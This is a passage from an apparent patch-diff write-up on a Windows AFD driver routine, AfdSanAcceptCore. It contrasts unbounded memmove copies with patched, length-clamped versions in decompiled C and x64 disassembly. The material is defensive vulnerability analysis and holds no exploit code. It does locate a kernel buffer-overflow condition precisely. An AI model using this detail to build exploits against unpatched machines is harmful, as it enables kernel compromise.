&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v35&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__int16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;4L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// unbounded&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// =================== PATCHED (bounded, feature-gated) ===================&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v16&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;Feature_97988921__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v16&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xCu&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// NEW length floor&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;LODWORD&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v66&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__int16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;// address length at +0x14&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v24&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v66&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_BYTE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;172&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;// kernel-transport variant&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;v25&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_WORD&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v66&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Feature_97988921__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v16&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v25&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;v25&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;_WORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;// NEW: clamp to (length - 2)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// ... map ...&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v30&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;v28&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v29&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v61&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v25&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt;                                                &lt;/span&gt;&lt;span class="c1"&gt;// user-transport variant&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Feature_97988921__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v16&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v24&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;v24&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v16&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;                               &lt;/span&gt;&lt;span class="c1"&gt;// NEW: clamp to length&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// ... map ...&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v33&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;v16&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v16&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;]],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v61&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v24&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Feature_97988921__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v16&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="c1"&gt;// NEW: minimum-size gate on the ancillary copy&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// ... clamp v46 / v52 to the remaining destination space, then memmove ...&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v16&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;                             &lt;/span&gt;&lt;span class="c1"&gt;// feature-off fallback == old unbounded copies&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v56&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v53&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__int16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v53&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;2L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v56&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v53&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__int16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v53&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;4L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The critical change is the introduction of:
- the length floor &lt;code&gt;v16[4] &amp;gt;= 0xC&lt;/code&gt; (asm &lt;code&gt;cmp dword [rbx+10h], 0Ch / jb&lt;/code&gt;),
- the transport-address size clamp &lt;code&gt;cmovb r12d, eax&lt;/code&gt; (user variant) and the &lt;code&gt;sub rcx, r13 / cmp rcx, rax / jnb&lt;/code&gt; clamp to &lt;code&gt;length - 2&lt;/code&gt; (kernel variant),
- the ancillary minimum-size gate &lt;code&gt;cmp eax, 6 / jb&lt;/code&gt; and its &lt;code&gt;cmovnb&lt;/code&gt; / &lt;code&gt;cmovge&lt;/code&gt; clamps,
- all gated behind &lt;code&gt;Feature_97988921__private_IsEnabledDeviceUsage&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The copy primitive is unchanged: every call is to &lt;code&gt;memmove&lt;/code&gt; in both builds.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;AfdSanAcceptCore&lt;/code&gt; @ &lt;code&gt;0x1C007C0CC&lt;/code&gt; — unpatched (unbounded copies)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; === capacity gate: only a zero-check ===&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C3A8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; edx = output-buffer length; rbx = *(IRP+0xB8)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C3AB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C3AD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1C007C56B&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; skip all copies only when length == 0  (no upper bound)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C3B3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r10&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; copy length from connection data +0x14&lt;/span&gt;

&lt;span class="c1"&gt;; === transport-address copy, kernel-transport variant (flag != 0) ===&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C007C446&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;A8h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; size = *(+0x14) + 2&lt;/span&gt;
